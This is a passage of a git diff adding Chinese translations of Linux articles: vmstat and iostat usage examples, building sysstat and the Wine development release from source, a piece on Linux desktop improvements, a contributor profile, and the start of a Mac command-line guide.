57 0 3 95 2 0 + 0 0 0 810412 22064 101368 0 0 0 0 16 35 0 0 100 0 0 + 0 0 0 810412 22064 101368 0 0 0 0 14 35 0 0 100 0 0 + 0 0 0 810412 22064 101368 0 0 0 0 17 38 0 0 100 0 0 + 0 0 0 810412 22064 101368 0 0 0 0 17 35 0 0 100 0 0 + 0 0 0 810412 22064 101368 0 0 0 0 18 36 0 1 100 0 0 + +####3. 带时间戳的vmstat命令#### + +带**-t**参数执行**vmstat**命令,该命令将会在每一行输出后都带一个时间戳,如下所示。 + + + [tecmint@tecmint ~]$ vmstat -t 1 5 + + procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu------ ---timestamp--- + r b swpd free buff cache si so bi bo in cs us sy id wa st + 0 0 0 632028 24992 192244 0 0 70 5 55 78 1 3 95 1 0 2012-09-02 14:57:18 IST + 1 0 0 632028 24992 192244 0 0 0 0 171 514 1 5 94 0 0 2012-09-02 14:57:19 IST + 1 0 0 631904 24992 192244 0 0 0 0 195 600 0 5 95 0 0 2012-09-02 14:57:20 IST + 0 0 0 631780 24992 192244 0 0 0 0 156 524 0 5 95 0 0 2012-09-02 14:57:21 IST + 1 0 0 631656 24992 192244 0 0 0 0 189 592 0 5 95 0 0 2012-09-02 14:57:22 IST + +####4. 统计各种计数器#### + +**vmstat**命令的**-s**参数,将输出各种事件计数器和内存的统计信息。 + + [tecmint@tecmint ~]$ vmstat -s + + 1030800 total memory + 524656 used memory + 277784 active memory + 185920 inactive memory + 506144 free memory + 26864 buffer memory + 310104 swap cache + 2064376 total swap + 0 used swap + 2064376 free swap + 4539 non-nice user cpu ticks + 0 nice user cpu ticks + 11569 system cpu ticks + 329608 idle cpu ticks + 5012 IO-wait cpu ticks + 79 IRQ cpu ticks + 74 softirq cpu ticks + 0 stolen cpu ticks + 336038 pages paged in + 67945 pages paged out + 0 pages swapped in + 0 pages swapped out + 258526 interrupts + 392439 CPU context switches + 1346574857 boot time + 2309 forks + +####5. 磁盘统计信息#### + +**vmstat**的**-d**参数将会输出所有磁盘的统计信息。 + + [tecmint@tecmint ~]$ vmstat -d + + disk- ------------reads------------ ------------writes----------- -----IO------ + total merged sectors ms total merged sectors ms cur sec + ram0 0 0 0 0 0 0 0 0 0 0 + ram1 0 0 0 0 0 0 0 0 0 0 + ram2 0 0 0 0 0 0 0 0 0 0 + ram3 0 0 0 0 0 0 0 0 0 0 + ram4 0 0 0 0 0 0 0 0 0 0 + ram5 0 0 0 0 0 0 0 0 0 0 + ram6 0 0 0 0 0 0 0 0 0 0 + ram7 0 0 0 0 0 0 0 0 0 0 + ram8 0 0 0 0 0 0 0 0 0 0 + ram9 0 0 0 0 0 0 0 0 0 0 + ram10 0 0 0 0 0 0 0 0 0 0 + ram11 0 0 0 0 0 0 0 0 0 0 + ram12 0 0 0 0 0 0 0 0 0 0 + ram13 0 0 0 0 0 0 0 0 0 0 + ram14 0 0 0 0 0 0 0 0 0 0 + ram15 0 0 0 0 0 0 0 0 0 0 + loop0 0 0 0 0 0 0 0 0 0 0 + loop1 0 0 0 0 0 0 0 0 0 0 + loop2 0 0 0 0 0 0 0 0 0 0 + loop3 0 0 0 0 0 0 0 0 0 0 + loop4 0 0 0 0 0 0 0 0 0 0 + loop5 0 0 0 0 0 0 0 0 0 0 + loop6 0 0 0 0 0 0 0 0 0 0 + loop7 0 0 0 0 0 0 0 0 0 0 + sr0 0 0 0 0 0 0 0 0 0 0 + sda 7712 5145 668732 409619 3282 28884 257402 644566 0 126 + dm-0 11578 0 659242 1113017 32163 0 257384 8460026 0 126 + dm-1 324 0 2592 3845 0 0 0 0 0 2 + +####6. 以MB为单位输出统计信息#### + +**vmstat**的**-S**和**-M**参数(大写和MB)将会以MB为单位输出。**vmstat**默认以KB为单位输出统计信息。 + + [root@tecmint ~]# vmstat -S M 1 5 + + procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu----- + r b swpd free buff cache si so bi bo in cs us sy id wa st + 0 0 0 346 53 476 0 0 95 8 42 55 0 2 96 2 0 + 0 0 0 346 53 476 0 0 0 0 12 15 0 0 100 0 0 + 0 0 0 346 53 476 0 0 0 0 32 62 0 0 100 0 0 + 0 0 0 346 53 476 0 0 0 0 15 13 0 0 100 0 0 + 0 0 0 346 53 476 0 0 0 0 34 61 0 1 99 0 0 + +###linux下的Iostat命令的6个范例### + +####1. 输出CPU和输入/输出(I/O)的统计信息#### + +不带参数的**iostat**命令将会输出**CPU**和每个分区的**输出/输出**的统计信息,如下所示。 + + [root@tecmint ~]# iostat + + Linux 2.6.32-279.el6.i686 (tecmint.com) 09/03/2012 _i686_ (1 CPU) + + avg-cpu: %user %nice %system %iowait %steal %idle + 0.12 0.01 1.54 2.08 0.00 96.24 + + Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn + sda 3.59 161.02 13.48 1086002 90882 + dm-0 5.76 159.71 13.47 1077154 90864 + dm-1 0.05 0.38 0.00 2576 0 + +####2. 只输出CPU的统计信息#### + +**iostat**命令的**-c**参数仅输出**CPU**的统计信息,如下所示。 + + [root@tecmint ~]# iostat -c + + Linux 2.6.32-279.el6.i686 (tecmint.com) 09/03/2012 _i686_ (1 CPU) + + avg-cpu: %user %nice %system %iowait %steal %idle + 0.12 0.01 1.47 1.98 0.00 96.42 + +####3. 只输出磁盘的输入/输出统计信息#### + +**iostat**命令的**-d**参数仅输出磁盘的所有分区的**输入/输出**的统计信息,如下所示。 + + [root@tecmint ~]# iostat -d + + Linux 2.6.32-279.el6.i686 (tecmint.com) 09/03/2012 _i686_ (1 CPU) + + Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn + sda 3.35 149.81 12.66 1086002 91746 + dm-0 5.37 148.59 12.65 1077154 91728 + dm-1 0.04 0.36 0.00 2576 0 + +####4. 只输出某个磁盘的输入/输出统计信息#### + +在默认情况下iostat命令会输出所有分区的统计信息,但是若在iostat命令后加上**-p**参数和磁盘设备名,该命令将会仅输出列出的磁盘的输入/输出统计信息,如下所示。 + + [root@tecmint ~]# iostat -p sda + + Linux 2.6.32-279.el6.i686 (tecmint.com) 09/03/2012 _i686_ (1 CPU) + + avg-cpu: %user %nice %system %iowait %steal %idle + 0.11 0.01 1.44 1.92 0.00 96.52 + + Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn + sda 3.32 148.52 12.55 1086002 91770 + sda1 0.07 0.56 0.00 4120 18 + sda2 3.22 147.79 12.55 1080650 91752 + +####5. 输出逻辑卷管理(LVM)的统计信息#### + +iostat命令的**-N**(大写)参数将会输出**LVM**(LCTT译注:[LVM][2]是linux环境下对磁盘分区进行管理的一种机制,是磁盘分区和文件系统间的一个逻辑层)的统计信息,如下所示。 + + [root@tecmint ~]# iostat -N + + Linux 2.6.32-279.el6.i686 (tecmint.com) 09/03/2012 _i686_ (1 CPU) + + avg-cpu: %user %nice %system %iowait %steal %idle + 0.11 0.01 1.39 1.85 0.00 96.64 + + Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn + sda 3.20 142.84 12.16 1086002 92466 + vg_tecmint-lv_root 5.13 141.68 12.16 1077154 92448 + vg_tecmint-lv_swap 0.04 0.34 0.00 2576 0 + +####6. iostat版本信息#### + +iostat的**-V**(大写)参数将会输出**iostat**的版本信息,如下所示。 + + [root@tecmint ~]# iostat -V + + sysstat version 9.0.4 + (C) Sebastien Godard (sysstat orange.fr) + +**注意**:**vmstat**和**iostat**的输出中包含多列的数据和标志,限于篇幅无法在本文中进行详细的解析。如果你想知道更多的信息,请查看**vmstat**和**iostat**的man帮助手册。如果你觉得本文对你有价值,请在下面的评论框中与你的朋友分享。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/linux-performance-monitoring-with-vmstat-and-iostat-commands/ + +作者:[Ravi Saive][a] +译者:[cvsher](https://github.com/cvsher) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/admin/ +[1]:http://sebastien.godard.pagesperso-orange.fr/download.html +[2]:http://en.wikipedia.org/wiki/Logical_Volume_Manager_(Linux) diff --git "a/published/201410/Sysstat \342\200\223 All-in-One System Performance and Usage Activity Monitoring Tool For Linux.md" "b/published/201410/Sysstat \342\200\223 All-in-One System Performance and Usage Activity Monitoring Tool For Linux.md" new file mode 100644 index 0000000000..ae3e1fcd54 --- /dev/null +++ "b/published/201410/Sysstat \342\200\223 All-in-One System Performance and Usage Activity Monitoring Tool For Linux.md" @@ -0,0 +1,124 @@ +全能冠军:Linux系统性能和使用活动监控工具 sysstat +=========================================================================== +**Sysstat**是一个非常方便的工具,它带有众多的系统资源监控工具,用于监控系统的性能和使用情况。我们在日常使用的工具中有相当一部分是来自sysstat工具包的。同时,它还提供了一种使用cron表达式来制定性能和活动数据的收集计划。 + +![Install Sysstat in Linux](http://www.tecmint.com/wp-content/uploads/2014/08/sysstat.png) + +下表是包含在sysstat包中的工具 + +- [**iostat**][1]: 输出CPU的统计信息和所有I/O设备的输入输出(I/O)统计信息。 +- **mpstat**: 关于CPU的详细信息(单独输出或者分组输出)。 +- **pidstat**: 关于运行中的进程/任务、CPU、内存等的统计信息。 +- **sar**: 保存并输出不同系统资源(CPU、内存、IO、网络、内核等。。。)的详细信息。 +- **sadc**: 系统活动数据收集器,用于收集sar工具的后端数据。 +- **sa1**: 系统收集并存储sadc数据文件的二进制数据,与sadc工具配合使用 +- **sa2**: 配合sar工具使用,产生每日的摘要报告。 +- **sadf**: 用于以不同的数据格式(CVS或者XML)来格式化sar工具的输出。 +- **Sysstat**: sysstat工具的man帮助页面。 +- **nfsiostat**: NFS(Network File System)的I/O统计信息。 +- **cifsiostat**: CIFS(Common Internet File System)的统计信息。 + +最近(在2014年6月17日),**sysstat 11.0.0**(稳定版)已经发布了,同时还新增了一些有趣的特性,如下: + +pidstat命令新增了一些新的选项:首先是“-R”选项,该选项将会输出有关策略和任务调度的优先级信息。然后是“**-G**”选项,通过这个选项我们可以使用名称搜索进程,然后列出所有匹配的线程。 + +sar、sadc和sadf命令在数据文件方面同样带来了一些功能上的增强。与以往只能使用“**saDD**”来命名数据文件。现在使用**-D**选项可以用“**saYYYYMMDD**”来重命名数据文件,同样的,现在的数据文件不必放在“**var/log/sa**”目录中,我们可以使用“SA_DIR”变量来定义新的目录,该变量将应用与sa1和sa2命令。 + +###在Linux系统中安装sysstat#### + +在主要的linux发行版中,‘**sysstat**’工具包可以在默认的程序库中安装。然而,在默认程序库中的版本通常有点旧,因此,我们将会下载源代码包,编译安装最新版本(**11.0.0**版本)。 + +首先,使用下面的连接下载最新版本的sysstat包,或者你可以使用**wget**命令直接在终端中下载。 + +- [http://sebastien.godard.pagesperso-orange.fr/download.html][2] + + # wget http://pagesperso-orange.fr/sebastien.godard/sysstat-11.0.0.tar.gz + +![Download Sysstat Package](http://www.tecmint.com/wp-content/uploads/2014/08/Download-Sysstat.png) + +*下载sysstat包* + +然后解压缩下载下来的包,进去该目录,开始编译安装 + + # tar -xvf sysstat-11.0.0.tar.gz + # cd sysstat-11.0.0/ + +这里,你有两种编译安装的方法: + +####a)#### + +第一,你可以使用**iconfig**(这将会给予你很大的灵活性,你可以选择/输入每个参数的自定义值) + + # ./iconfig + +![Sysstat iconfig Command](http://www.tecmint.com/wp-content/uploads/2014/08/Sysstat-iconfig-Command.png) + +*sysstat的iconfig命令* + +####b)#### + +第二,你可以使用标准的**configure**,在命令行中定义所有选项。你可以运行 **./configure –help 命令**来列出该命令所支持的所有限选项。 + + # ./configure --help + +![Sysstat Configure Help](http://www.tecmint.com/wp-content/uploads/2014/08/Configure-Help.png) + +*stsstat的cofigure -help* + +在这里,我们使用标准的**./configure**命令来编译安装sysstat工具包。 + + # ./configure + # make + # make install + +![Configure Sysstat in Linux](http://www.tecmint.com/wp-content/uploads/2014/08/Configure-Sysstat.png) + +*在Linux系统中配置sysstat* + +在编译完成后,我们将会看到一些类似于上图的输出。现在运行如下命令来查看sysstat的版本。 + + # mpstat -V + + sysstat version 11.0.0 + (C) Sebastien Godard (sysstat orange.fr) + +###更新Linux 系统中的sysstat### + +默认的,sysstat使用“**/usr/local**”作为其目录前缀。因此,所有的二进制数据/工具都会安装在“**/usr/local/bin**”目录中。如果你的系统已经安装了sysstat 工具包,则上面提到的二进制数据/工具有可能在“**/usr/bin**”目录中。 + +因为“**$PATH**”变量不包含“**/usr/local/bin**”路径,你在更新时可能会失败。因此,确保“**/usr/local/bin**”路径包含在“$PATH”环境变量中,或者在更新前,在编译和卸载旧版本时将**-prefix**选项指定值为“**/usr**”。 + + # yum remove sysstat [On RedHat based System] + # apt-get remove sysstat [On Debian based System] + +---------- + + # ./configure --prefix=/usr + # make + # make install + +现在,使用‘mpstat’命令的‘**-V**’选项查看更新后的版本。 + + # mpstat -V + + sysstat version 11.0.0 + (C) Sebastien Godard (sysstat orange.fr) + +**参考**: 更多详细的信息请到 [Sysstat Documentation][3] + +在我的下一篇文章中,我将会展示一些sysstat命令使用的实际例子,敬请关注更新。别忘了在下面评论框中留下您宝贵的意见。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/install-sysstat-in-linux/ + +作者:[Kuldeep Sharma][a] +译者:[cvsher](https://github.com/cvsher) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/kuldeepsharma47/ +[1]:http://linux.cn/article-4024-1.html +[2]:http://sebastien.godard.pagesperso-orange.fr/download.html +[3]:http://sebastien.godard.pagesperso-orange.fr/documentation.html diff --git "a/published/201410/Wine 1.7.29 (Development Version) Released \342\200\223 Install in RedHat and Debian Based Systems.md" "b/published/201410/Wine 1.7.29 (Development Version) Released \342\200\223 Install in RedHat and Debian Based Systems.md" new file mode 100644 index 0000000000..6c5720bd9b --- /dev/null +++ "b/published/201410/Wine 1.7.29 (Development Version) Released \342\200\223 Install in RedHat and Debian Based Systems.md" @@ -0,0 +1,97 @@ +在基于RedHat与Debian的系统上安装Wine 最新的开发版本 +========================= + +**Wine**,一个在Linux平台上非常受欢迎并且强大的开源应用,有了它,我们可以在Linux平台上完美运行Windows应用与游戏。 + +![Install Wine (Development Version) in Linux](http://www.tecmint.com/wp-content/uploads/2014/05/Install-Wine-Development-Version.png) + +*在Linux上安装Wine(开发版本)* + +WineHQ团队,近期宣布了一个新的开发版本**Wine1.7.29**。这个版本带来了诸多重要的特性,并且修复了**44**个bug。 + +Wine团队几乎每周都会发布新的开发版本,并且加入许多新特性以及修复漏洞。每个新版本都会支持新的应用与游戏(Windows),这使得Wine在那些想要在Linux下运行Windows应用的用户群体中很流行并且是不可缺少的。 + +根据变更日志,这个版本中添加了以下的关键特性: + +- 在DirectWrite中加入增强的外形塑造与BiDi(译者:bi-directional language)镜像。 +- 升级了一些页面错误处理方式。 +- 增加了更多的C运行时函数。 +- 修复了大量的bug。 + +在官方的 [变更日志][1] 中可以找到关于这个版本更多更深入的细节。 + +这篇文章指导你在基于**RedHat**与**Debian**的系统,如CentOS,Fedora,Ubuntu,Linux Mint以及其他的发行版中安装最新的开发版本**Wine 1.7.29**。 + +##在Linux中安装 Wine 1.7.29 开发版本## + +遗憾的是,目前还没有官方的Wine仓库可以获取基于**RedHat**系统的版本,只能通过编译源码来安装。如果要这么做的话,我们先要安装一些开发包如gcc,flex,bison,libX11-devel freetype-devel 以及开发工具,等等。这些工具都是编译Wine源码所必须的。我们可以通过**YUM**命令来安装这些包。 + +##RedHat,Fedora,CentOS## + + # yum -y groupinstall 'Development Tools' + # yum -y install flex bison libX11-devel freetype-devel + +然后,使用如下命令下载Wine最新的开发版本(**1.7.29**)以及解压源码包。 + + $ cd /tmp + $ wget http://citylan.dl.sourceforge.net/project/wine/Source/wine-1.7.29.tar.bz2 + $ tar -xvf wine-1.7.29.tar.bz2 -C /tmp/ + +接下来,使用下列命令编译及安装Wine。 + +注:安装过程大概需要**15-20**分钟,这个时间由你的网络速度以及电脑硬件配置决定,在安装过程中需要**root**密码。 + +####32位系统#### + + $cd wine-1.7.29/ + $./tools/wineinstall + +####64位系统#### + + $ cd wine-1.7.29/ + $ ./configure --enable-win64 + $ make + # make install + +###Ubuntu,Debian 与 Linux Mint### + +在**Ubuntu**系统下,你可以使用官方的**PPA**方便的安装最新的Wine开发版本。打开一个终端并使用sudo权限执行下列命令。 + + $ sudo add-apt-repository ppa:ubuntu-wine/ppa + $ sudo apt-get update + $ sudo apt-get install wine 1.7 winetricks + +**注**:在写这篇文章时,只能获取**1.7.26**,在官方的仓库中还没有更新到最新版本,但是当仓库更新到**1.7.29**后,使用上面的指令可以安装最新的版本。(译者:为毛我看了版本号是1.6.2......) + +安装成功后,你可以安装或运行任何windows应用或游戏了,示例如下: + + $ wine notepad + $ wine notepad.exe + $ wine c:\\windows\\notepad.exe + +**注**:切记,这是一个开发版本,请勿在生产系统上安装它。建议这个版本仅作测试用。 + +如果你需要最新的稳定版本,可以参考下列文章,它介绍了如何安装最新的稳定版本。 + +- [Install Wine 1.6.2 (Stable) in RHEL, CentOS and Fedora][2] +- [Install Wine 1.6.2 (Stable) in Debian, Ubuntu and Mint][3] + +###参考链接### + +- [WineHQ Homepage][4] + +------------------------------------------------- + +via: http://www.tecmint.com/install-wine-in-linux/ + +作者:[Ravi Saive][a] +译者:[SPccman](https://github.com/SPccman) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/admin/ +[1]:http://www.winehq.org/announce/1.7.29 +[2]:http://www.tecmint.com/install-wine-in-rhel-centos-and-fedora/ +[3]:http://www.tecmint.com/install-wine-on-ubuntu-and-linux-mint/ +[4]:http://www.winehq.org/ diff --git a/published/201411/20140617 7 Improvements The Linux Desktop Needs.md b/published/201411/20140617 7 Improvements The Linux Desktop Needs.md new file mode 100644 index 0000000000..a3a133c4ed --- /dev/null +++ b/published/201411/20140617 7 Improvements The Linux Desktop Needs.md @@ -0,0 +1,97 @@ +7个Linux桌面需要改进之处 +====================================== + +在过去的15年内,Linux桌面从一个还算凑合的边缘化解决方案集合发展为一个独特的创新来源和选择之一。它的标准特点中有许多是要么不适用于Windows系统,要么就只适合作为一个专有的扩展软件。因此,使用Linux愈发变得不仅是一个原则问题,也是一种偏好。 + +然而,尽管Linux桌面不停在进步,但是仍然存在差距。一些特点正在丢失,而一些已经丢失了,还有一些令人惊喜的附加功能可以轻易地提升桌面体验,而不用挑战用户的容忍度。 + +比如说,以下是7个有利于Linux桌面发展的改善建议: + +### 7. 简单的Email加密技术 + +如今,各种Email阅读器从Alpine到Thunderbird再到Kmail,都带有Email加密技术。然而,关于它们的文档手册通常是不存在或者非常简陋。 + +但是,即使你了解加密理论,但是使用起来仍然很困难。这些控件通常分散在配置菜单和选项卡中,需要为所有你需要和想要的设置进行一次彻底的搜索才行。如果你未能进行适当的加密设置,通常你找不到任何有用的反馈。 + +易用性方面最接近的是 [Enigmail][1] ,它是一个带有面向初学者的设置向导的Thunderbird扩展。但是你一定要知道怎么用Enigmail,新的加密设置菜单埋藏在撰写窗口里一级菜单下,和其他选项混在一起,这让日常用户很迷惑。 + +不管是那种桌面环境,如你所知的,你应该对邮件加密,今天对安全和隐私的媒体不断报道让你知道加密有多重要。 + +### 6. 虚拟工作空间缩略图 + +不需要额外的显示器,虚拟工作空间提供了更多桌面空间。然而,尽管它们很实用,但是虚拟工作空间的管理并没有在过去十年发生改变。在大多数桌面上,你能通过每个工作空间上的pager程序(一个提供很少指示除了它的名字和数字的简单矩形框)来控制它们 -- 或者,在Ubuntu的Unity 环境中,可以指出哪个工作空间是当前激活的。 + +确实,GNOME和Cinnamon能提供出不错的视图,但是它们的实用性受限于它们需要显示屏大小的事实。而 KDE 写出内容列表则和主流的图形桌面不太协调。 + +一个比较不错的解决方案应该是鼠标悬停在足够大的缩略图上来获取正常的视图,这样就精确地查看每个工作空间上的东西了。 + +### 5. 一个合用的菜单 + +现代型桌面很久之前就已经舍弃了级联子菜单铺满整个桌面的经典型菜单了。如今,一般的电脑都有太多的应用程序以至于不能适应这样的模式。 + +糟糕的是,没有什么主要的替代品能与经典型菜单一样方便。把菜单根植于一个单一的窗口,其效果是不理想的,因为你要么必须截掉子菜单要么就用鼠标不断地调整窗口大小。 + +但是全屏幕菜单的产品还要差,这意味着你甚至要在开始工作之前就调整屏幕,并且哪个搜索框其实只在你已经知道什么应用程序可用的情况下才有用 -- 这种情况下你还不如直接用命令行。 + +坦白地说,我不知道拿什么来解决这个问题,OS X下的spinner racks吗?我可以肯定地说,所有现代型菜单产品在桌面上呈现出一个个精心构造的图标似乎更是一个合理的选择。 + +### 4. 一个专业的、实惠的视频编辑器 + +多年来,Linux已经慢慢地填充了软件生产力上的空白。然而即便如此,它仍然缺少价格合理的视频编辑软件。 + +问题不在于没有这样的自由软件。[Maya][2] 是动画产业的标准之一,但是问题在于这样的软件的售价达数千美金。 + +另一边,比如Pitivi或者是Blender这样的免费软件, 它们的功能性 -- 尽管它们的开发者足够的努力 -- 只能保证基本功能。虽然取得了进步,但还是和用户们所期望的相去甚远。 + +尽管我听说一些非主流的厂家使用的是原生态Linux视频编辑器,原因通常是因为他们抱怨其它编辑器不好,但其余的人更愿意减少麻烦,从而在其它操作系统上对视频进行编辑。 + +### 3. 一个文档处理器 + +有一个极端是,那些需要进行文字处理的用户,Google Docs就让他们满意了;而另一个极端是对于那些排版设计的专家来说,Scribus是唯一比较可行的应用。 + +这两种极端之间还有一层,是那些比如那些写作很长的文本的文件的出版商和作家。这类用户有些是由基于Windows的 [Adobe FrameMaker][3] 来服务, 有些则由基于Linux的LibreOffice Writer来服务。 + +不幸的是,这些用户显然不会优先考虑LibreOffice,Calligra Words, AbiWord或者是任何其它的办公套件。应该提供给用户的办公套件的特色功能包括: + +- 为每个文件建立引用书目数据库。 +- 表格的样式能和段落与字符保持一致。 +- 除了页眉和页脚,带有持续性内容的页面样式,在每次使用样式时都一样。 +- 交叉引用存储格式,以便不需要每次都手动创建。 + +无论是LibreOffice还是其它同类应用,提供这些特色功能与它们是否可用是并不相干的。但是没有它们,Linux桌面对于一群潜在的用户来说就是个不完善的东西。 + + +### 2.彩色标题栏 + +浏览器的扩展软件向我们展示了彩色编码标签对于工作空间的作用。打开了八九个标签后,它的标题栏就看不全了,所以颜色通常是最快区分标签关系的方法。 + +同样的系统也能用到桌面上。更好的是,彩色编码也许可以按会话保存,允许用户同时打开某个任务所需的所有应用。到目前为止,我知道没有任何一个桌面有这个特点。 + +### 1. 图标栏 + +多年以来,Stardock公司一直销售着一个名叫 [Fences][4] 的扩展软件,它用来分类和组织桌面上的图标,你能用它给每个组取名并且可以把每个图标都放在一起。另外,你可以指定不同的文件类型自动加入到一个组里,并且按个人需要来隐藏和整理。 + +换句话说,fences让用户整天在桌面上干的事情自动有序地分组排列。然而,除了一两个小功能与KDE的文件夹视图类似之外,fences的功能仍然没有出现在Linux桌面上。这也许是因为开发人员把注意力放到移动设备上作为灵感来源,而使用fences无疑是传统工作站桌面的一大特征。 + +### 我个人的列表 + +我做了这种列表之后,让我震惊的是这些不多的改进都是普适性的,其中几项改进将会吸引大量特定的用户,只有一个是来自专有软件的移植,其中一个至少是修饰性的而不是功能性的。 + +这一观察表明,对于普通用户来说,Linux能添加的功能已经所剩无几了。作为一个通用的桌面,Linux从几年前到现在都很多元化,到今天,用户能从超过半打的主流桌面中选择出一个来使用。 + +当然这不意味着,一些专家就不会有其它意见。另外,没有人会关心不断变化的需求会不会使改进令人满意。但是它意味着这份充斥着改进建议的名单上的许多项目将会高度个人化。 + +所有这些都是为了抛砖引玉:你认为还有什么其它的对桌面有益的建议吗? + +-------------------------------------------------------------------------------- + +via: http://www.datamation.com/open-source/7-improvements-the-linux-desktop-needs-1.html + +译者:[ZTinoZ](https://github.com/ZTinoZ) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://addons.mozilla.org/en-US/thunderbird/addon/enigmail/ +[2]:http://en.wikipedia.org/wiki/Autodesk_Maya +[3]:http://www.adobe.com/products/framemaker.html +[4]:http://www.stardock.com/products/fences/ diff --git a/published/201411/20140702 The People Who Support Linux--Hacking on Linux Since Age 16.md b/published/201411/20140702 The People Who Support Linux--Hacking on Linux Since Age 16.md new file mode 100644 index 0000000000..1d7f5a904f --- /dev/null +++ b/published/201411/20140702 The People Who Support Linux--Hacking on Linux Since Age 16.md @@ -0,0 +1,49 @@ +一个 Linux 支持者:从 16 岁开始在 Linux 上 hacking +================================================================================ + +![](http://www.linux.com/images/stories/41373/Yitao-Li.png) + +>翻译文章中是称主人公为 Yitao Li,还是李逸韬?他似乎是美国人,“李逸韬”是看的他的个人主页上的。 + +在软件开发者 [Yitao Li (李逸韬) 的 GitHub 仓库][1]中,几乎所有的项目都是在他的 Linux 机器上开发完成的。它们没有一个是必须特定需要 Linux 的,但李逸韬说他使用 Linux 来做“任何事情”。 + +举些例子:“编码/脚本设计,网页浏览,网站托管,任何云相关的,发送/接收 PGP 签名的邮件,调整防火墙规则,将 OpenWrt 镜像刷入路由器,运行某版本的 Linux kernel 的同时编译另一个版本,从事研究,完成功课(例如,用 Tex 输入数学公式),以及其他许多......” Li 在邮件里如是说。 + +在李逸韬的 GitHub 仓库里所有项目中他的最爱是一个学校项目,调用 libpthread 和 libfuse 库,使用 C++ 开发,用来理解和正确执行基于 PAXOS 的分布式加锁,键值对服务,最终实现一个分布式文件系统。他使用若干测试脚本分别在单核和多核的机器上对这个项目进行测试。 + +"可以借助正确地实现(或者至少大部分正确)PAXOS 协议,并且通过了所有测试,来学习关于分布式共识协议的知识,"他说,“当然一旦这完成了,他就可以获得一些炫耀的权利。除此之外,一个分布式文件系统在其他许多编程项目中也可以很有用。” + +Li 是在 16 岁的时候第一次开始使用 Linux,或是者说大约 7.47 年之前,他说,通过使用网站 [linuxfromscratch.org][2] ,从 Scratch book 中获得的免费可下载的 Linux 中学习了大量知识。那么他为什么会使用 Linux? + +"1. Linux 是黑客的天才工具,所以我没看到任何不用它的理由,"他写道,“2. 大脑的前额叶皮质(可能)在我16岁时正变得很发达。” + +[![](http://www.linux.com/images/stories/41373/ldc_peop_linux.png)][3] + +他现在为 eBay工作,主要进行 Java 编程但有时也使用 Hadoop, Pig, Zookeeper, Cassandra, MongoDB,以及其他一些需要 POSIX 兼容平台的软件来工作。他主要通过给 Wikipedia 页面和 Linux 相关的论坛做贡献来支持 Linux 社区,另外当然还成为了 Linux 基金会的个人会员。 + +他紧跟最新的 Linux 发展动态,最近还对 GCC 4.9 及之后版本新增的 “-fstack-protector-strong” 选项印象深刻。 + +"虽然这并不与我的任何项目直接相关,但它对于安全和性能问题十分重要。"他说,“这个选项比 ‘-fstack-protector-all’ 更高效的多,却在安全上几乎没有影响,同时比 ‘-fstack-protector’ 选项提供了更好的栈溢出防护覆盖。” + +欢迎来到 Linux 基金会,Yitao ! + +了解更多关于成为 [Linux 基金会个人会员][3]的内容。基金会将为每位 6 月份期间的新个人会员捐赠 $25 给 Code.org。 + +---------- + +![](http://www.linux.com/community/forums/avatar/41373/catid/200-libby-clark/thumbnail/large/cache/1331753338) + +[Libby Clark][4] + +-------------------------------------------------------------------------------- + +via: http://www.linux.com/news/featured-blogs/200-libby-clark/778559-the-people-who-support-linux-hacking-on-linux-since-age-16 + +译者:[jabirus](https://github.com/jabirus) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://github.com/yl790 +[2]:http://linuxfromscratch.org/ +[3]:https://www.linuxfoundation.org/about/join/individual +[4]:http://www.linux.com/community/forums/person/41373/catid/200-libby-clark \ No newline at end of file diff --git a/published/201411/20140729 Don't Fear The Command Line.md b/published/201411/20140729 Don't Fear The Command Line.md new file mode 100644 index 0000000000..31b7fcc96a --- /dev/null +++ b/published/201411/20140729 Don't Fear The Command Line.md @@ -0,0 +1,135 @@ +不要害怕命令行——Mac OS 篇 +================================================================================ +![](http://a4.files.readwrite.com/image/upload/c_fill,h_900,q_70,w_1600/MTE5NTU2MzIyNTM0NTg5OTYz.jpg) + +> 接纳你电脑上最有用的工具。 + +你应该在电影中见到过,尽管从没在自己电脑上调出来:一个空白屏幕,带有一些简单文字提示和一个光标,等着你去输入几个神秘的命令,就会听你的吩咐。 + +这就是命令行。它是基于字符的接口,它比现在人们都熟悉的主流操作系统(包括Windows到Mac OS X和Linux)上的窗口,图标和`瓦片 tiles`都要早。 + +命令行是一个使用你电脑基本功能的超级强大的工具。对于大多数人来说,它也是一个让人困惑的,难以理解的,看上去无关紧要的东西。但是其实不是这样的。 + +### 在你的命令控制下的电脑 ### + +输入字符指令再敲下回车来让电脑做点事情,和在移动设备的触摸界面上滑动点击比较,听起来像是退了一大步。即使是刚学走路的小孩都可以用iPad,对吧?不过,如果你知道怎么用的话,命令可以节省你的时间,减少烦恼。 + +如果你很认真想学习编程-或者想理解计算机技术-你完全有必要掌握命令行。 + +深入到命令行里,将教会你很多关于电脑如何工作以及管理信息的。你也许会发现有些平常使用鼠标操作的功能,当改为敲一两个命令后,实际上会更快。 + +更重要的是,你会更容易理解[像Python那样的编程语言][1]和[像Git那样的软件][2],需要有一点命令行基础。在熟悉了命令行以后,你就可以打破过去阻止你学习编程的障碍了。 + +所以在这里介绍一点关于命令行的快速的、基础的指导。它**主要专注于Mac OS 